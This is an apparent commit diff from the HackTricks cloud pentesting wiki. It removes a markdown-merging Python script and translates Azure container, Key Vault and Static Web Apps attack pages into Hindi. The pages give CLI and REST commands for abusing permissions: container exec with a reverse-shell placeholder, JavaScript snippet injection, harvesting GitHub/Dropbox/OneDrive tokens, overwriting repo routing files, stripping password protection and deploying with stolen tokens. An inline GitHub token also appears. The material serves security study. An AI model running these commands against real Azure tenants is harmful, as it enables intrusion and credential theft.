mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -1,145 +0,0 @@
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"# {file_name}\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
def main():
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"STM Cyber", # STM Cyber ads
|
||||
"offer several valuable cybersecurity services", # STM Cyber ads
|
||||
"and hack the unhackable", # STM Cyber ads
|
||||
"blog.stmcyber.com", # STM Cyber ads
|
||||
|
||||
"RootedCON", # RootedCON ads
|
||||
"rootedcon.com", # RootedCON ads
|
||||
"the mission of promoting technical knowledge", # RootedCON ads
|
||||
|
||||
"Intigriti", # Intigriti ads
|
||||
"intigriti.com", # Intigriti ads
|
||||
|
||||
"Trickest", # Trickest ads
|
||||
"trickest.com", # Trickest ads,
|
||||
"Get Access Today:",
|
||||
|
||||
"HACKENPROOF", # Hackenproof ads
|
||||
"hackenproof.com", # Hackenproof ads
|
||||
"HackenProof", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
"Hacking Insights:", # Hackenproof ads
|
||||
"Engage with content that delves", # Hackenproof ads
|
||||
"Real-Time Hack News:", # Hackenproof ads
|
||||
"Keep up-to-date with fast-paced", # Hackenproof ads
|
||||
"Latest Announcements:", # Hackenproof ads
|
||||
"Stay informed with the newest bug", # Hackenproof ads
|
||||
"start collaborating with top hackers today!", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
|
||||
"Pentest-Tools", # Pentest-Tools.com ads
|
||||
"pentest-tools.com", # Pentest-Tools.com ads
|
||||
"perspective on your web apps, network, and", # Pentest-Tools.com ads
|
||||
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
|
||||
|
||||
"SerpApi", # SerpApi ads
|
||||
"serpapi.com", # SerpApi ads
|
||||
"offers fast and easy real-time", # SerpApi ads
|
||||
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
|
||||
|
||||
"8kSec", # 8kSec ads
|
||||
"academy.8ksec.io", # 8kSec ads
|
||||
"Learn the technologies and skills required", # 8kSec ads
|
||||
|
||||
"WebSec", # WebSec ads
|
||||
"websec.nl", # WebSec ads
|
||||
"which means they do it all; Pentesting", # WebSec ads
|
||||
]
|
||||
|
||||
# Clean and merge .md files
|
||||
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
|
||||
|
||||
# Print the path to the output file
|
||||
print(f"Merged content has been saved to: {output_file}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Execute this from the hacktricks folder to clean
|
||||
# It will clean all the .md files and compile them into 1 in a proper order
|
||||
main()
|
||||
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
यह अनुमति एक प्रिंसिपल को बैकअप से एक सीक्रेट को पुनर्स्थापित करने की अनुमति देती है।
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
### Microsoft.KeyVault/vaults/keys/recover/action
|
||||
Azure Key Vault से पहले हटाए गए कुंजी की पुनर्प्राप्ति की अनुमति देता है।
|
||||
```bash
|
||||
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक कमांड निष्पादित** करने की अनुमति देती हैं एक चल रहे कंटेनर में। इसका उपयोग कंटेनर में **अधिकार बढ़ाने** के लिए किया जा सकता है यदि इसमें कोई प्रबंधित पहचान जुड़ी हो। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक कमांड निष्पादित** करने की अनुमति देती हैं एक चल रहे कंटेनर में। इसका उपयोग कंटेनर में **अधिकार बढ़ाने** के लिए किया जा सकता है यदि इसमें कोई प्रबंधित पहचान संलग्न है। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
|
||||
|
||||
एक शेल प्राप्त करना उतना ही सरल है:
|
||||
```bash
|
||||
@@ -75,7 +75,7 @@ az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
यह अनुमति **कंटेनर ऐप** के अंदर कॉन्फ़िगर किए गए **गुप्त पाठ** को प्राप्त करने की अनुमति देती है। ध्यान दें कि गुप्त को स्पष्ट पाठ के साथ या एक कुंजी वॉल्ट के लिंक के साथ कॉन्फ़िगर किया जा सकता है (ऐसे मामले में ऐप को गुप्त पर पहुंच के साथ एक प्रबंधित पहचान सौंपा जाएगा)।
|
||||
यह अनुमति **कंटेनर ऐप** के अंदर कॉन्फ़िगर किए गए **गुप्त पाठ** को प्राप्त करने की अनुमति देती है। ध्यान दें कि गुप्त को स्पष्ट पाठ के साथ या एक कुंजी वॉल्ट के लिंक के साथ कॉन्फ़िगर किया जा सकता है (ऐसे मामले में ऐप को गुप्तों पर पहुंच के साथ एक प्रबंधित पहचान सौंपा जाएगा)।
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
@@ -84,7 +84,7 @@ az containerapp secret show --name <app-name> --resource-group <res-group> --sec
|
||||
|
||||
ये अनुमतियाँ **एक उपयोगकर्ता प्रबंधित पहचान** को एक कंटेनर ऐप से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है। az cli से इस क्रिया को निष्पादित करने के लिए `Microsoft.App/containerApps/listSecrets/action` अनुमति की भी आवश्यकता होती है।
|
||||
|
||||
एक कंटेनर समूह में एक उपयोगकर्ता प्रबंधित पहचान को जोड़ने के लिए:
|
||||
एक कंटेनर समूह से एक उपयोगकर्ता प्रबंधित पहचान को जोड़ने के लिए:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
@@ -106,7 +106,7 @@ az containerapp create \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> ध्यान दें कि इन अनुमतियों के साथ **ऐप की अन्य कॉन्फ़िगरेशन** को संशोधित किया जा सकता है, जो मौजूदा ऐप्स की कॉन्फ़िगरेशन के आधार पर अन्य प्रिवेस्क और पोस्ट एक्सप्लॉइटेशन हमलों को करने की अनुमति दे सकता है।
|
||||
> ध्यान दें कि इन अनुमतियों के साथ **ऐप की अन्य कॉन्फ़िगरेशन** को संशोधित किया जा सकता है, जो मौजूदा ऐप्स की कॉन्फ़िगरेशन के आधार पर अन्य प्रिवेस्क और पोस्ट एक्सप्लोइटेशन हमलों को करने की अनुमति दे सकता है।
|
||||
|
||||
## Jobs
|
||||
|
||||
@@ -141,7 +141,7 @@ az containerapp job secret show --name <job-name> --resource-group <res-group> -
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
यदि आपके पास एक नौकरी की कॉन्फ़िगरेशन को संशोधित करने की अनुमति है, तो आप एक उपयोगकर्ता-निर्धारित प्रबंधित पहचान संलग्न कर सकते हैं। यह पहचान अतिरिक्त विशेषाधिकार हो सकते हैं (उदाहरण के लिए, अन्य संसाधनों या रहस्यों तक पहुंच) जिन्हें कंटेनर के अंदर विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है।
|
||||
यदि आपके पास एक नौकरी की कॉन्फ़िगरेशन को संशोधित करने की अनुमति है, तो आप एक उपयोगकर्ता-निर्धारित प्रबंधित पहचान संलग्न कर सकते हैं। इस पहचान के पास अतिरिक्त विशेषाधिकार हो सकते हैं (उदाहरण के लिए, अन्य संसाधनों या रहस्यों तक पहुंच) जिन्हें कंटेनर के भीतर विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है।
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
@@ -150,7 +150,7 @@ az containerapp job update \
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
यदि आप एक नया Container Apps Job बना सकते हैं (या एक मौजूदा को अपडेट कर सकते हैं) और एक प्रबंधित पहचान संलग्न कर सकते हैं, तो आप नौकरी को एक ऐसा पेलोड निष्पादित करने के लिए डिज़ाइन कर सकते हैं जो विशेषाधिकार बढ़ाता है। उदाहरण के लिए, आप एक नई नौकरी बना सकते हैं जो न केवल एक रिवर्स शेल चलाती है बल्कि प्रबंधित पहचान के क्रेडेंशियल्स का उपयोग करके टोकन या अन्य संसाधनों तक पहुँचने के लिए अनुरोध भी करती है।
|
||||
यदि आप एक नया Container Apps Job बना सकते हैं (या एक मौजूदा को अपडेट कर सकते हैं) और एक प्रबंधित पहचान संलग्न कर सकते हैं, तो आप नौकरी को एक ऐसा पेलोड निष्पादित करने के लिए डिज़ाइन कर सकते हैं जो विशेषाधिकार बढ़ाता है। उदाहरण के लिए, आप एक नया काम बना सकते हैं जो न केवल एक रिवर्स शेल चलाता है बल्कि प्रबंधित पहचान के क्रेडेंशियल्स का उपयोग करके टोकन या अन्य संसाधनों तक पहुँचने के लिए अनुरोध भी करता है।
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
@@ -173,5 +173,10 @@ az containerapp job create \
|
||||
|
||||
मैं इसे काम करने में सफल नहीं हुआ, लेकिन अनुमत पैरामीटर के अनुसार, यह संभव होना चाहिए।
|
||||
|
||||
### Microsoft.ContainerInstance/containerGroups/restart/action
|
||||
|
||||
Azure Container Instances के भीतर एक विशिष्ट कंटेनर समूह को पुनः प्रारंभ करने की अनुमति देता है।
|
||||
```bash
|
||||
az container restart --resource-group <resource-group> --name <container-instances>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
For more information about this service check:
|
||||
इस सेवा के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,164 +12,153 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
|
||||
|
||||
The fllowing command create an snippet that will always be loaded by the web app::
|
||||
एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल्स या म्नेमोनिक कुंजियों (वेब3 वॉलेट्स में) को चुराने की अनुमति मिल सकती है।
|
||||
|
||||
निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
|
||||
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
As explained in the App Service section:
|
||||
जैसा कि ऐप सेवा अनुभाग में समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर की गई हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
|
||||
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### फ़ाइल ओवरराइट करें - रूट, HTML, JS ओवरराइट करें...
|
||||
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
Azure के माध्यम से **Github रेपो** के अंदर एक फ़ाइल को **ओवरराइट करना संभव है** जिसमें ऐप है, **Github टोकन** के माध्यम से एक अनुरोध भेजकर जैसे कि निम्नलिखित जो फ़ाइल के ओवरराइट करने के लिए पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।
|
||||
|
||||
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
|
||||
|
||||
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
|
||||
इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से **वेब ऐप की सामग्री को बदल सकें** ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कुंजी चुराना...) परोस सकें या बस **कुछ पथों को** अपने सर्वरों पर रीरूट करने के लिए `staticwebapp.config.json` फ़ाइल को ओवरराइट कर सकें।
|
||||
|
||||
> [!WARNING]
|
||||
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
|
||||
|
||||
> ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github रेपो को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
|
||||
|
||||
इस अनुमति के साथ, यह **पासवर्ड को संशोधित करना** संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनसुरक्षित करना भी संभव है, जैसे कि निम्नलिखित अनुरोध भेजकर:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
This permission allows to get the **API key deployment token** for the static app:
|
||||
|
||||
यह अनुमति **API कुंजी तैनाती टोकन** प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
फिर, **टोकन का उपयोग करके ऐप को अपडेट करने के लिए** आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) कैसे काम करता है** यह जांचने के बाद निकाली गई है, क्योंकि यह Azure द्वारा डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट की गई है। इसलिए भविष्य में चित्र और पैरामीटर बदल सकते हैं।
|
||||
|
||||
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
||||
|
||||
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
|
||||
2. Change the code you want to deploy
|
||||
3. Deploy it running (Remember to change the `<api-token>`):
|
||||
> [!TIP]
|
||||
> ऐप को तैनात करने के लिए आप **`swa`** टूल का उपयोग कर सकते हैं [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) या निम्नलिखित कच्चे चरणों का पालन करें:
|
||||
|
||||
1. रेपो डाउनलोड करें [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और `cd react-basic` चलाएँ।
|
||||
2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
|
||||
3. इसे तैनात करें (याद रखें कि `<api-token>` बदलना है):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
|
||||
>[!WARNING]
|
||||
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
|
||||
> [!WARNING]
|
||||
> भले ही आपके पास टोकन हो, आप ऐप को तैनात नहीं कर पाएंगे यदि **Deployment Authorization Policy** **Github** पर सेट है। टोकन का उपयोग करने के लिए आपको तैनाती विधि को APi टोकन का उपयोग करने के लिए बदलने के लिए अनुमति `Microsoft.Web/staticSites/write` की आवश्यकता होगी।
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
|
||||
इस अनुमति के साथ, यह संभव है कि **स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलें**, हालाँकि, इसे स्वचालित रूप से प्रावधानित नहीं किया जाएगा क्योंकि यह एक Github Action से किया जाना चाहिए।
|
||||
|
||||
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
|
||||
|
||||
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
|
||||
हालांकि, यदि **Deployment Authorization Policy** **Github** पर सेट है, तो यह संभव है कि **नए स्रोत रिपॉजिटरी से ऐप को अपडेट करें!**।
|
||||
|
||||
यदि **Deployment Authorization Policy** Github पर सेट नहीं है, तो आप इसे उसी अनुमति `Microsoft.Web/staticSites/write` के साथ बदल सकते हैं।
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -179,117 +168,109 @@ az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
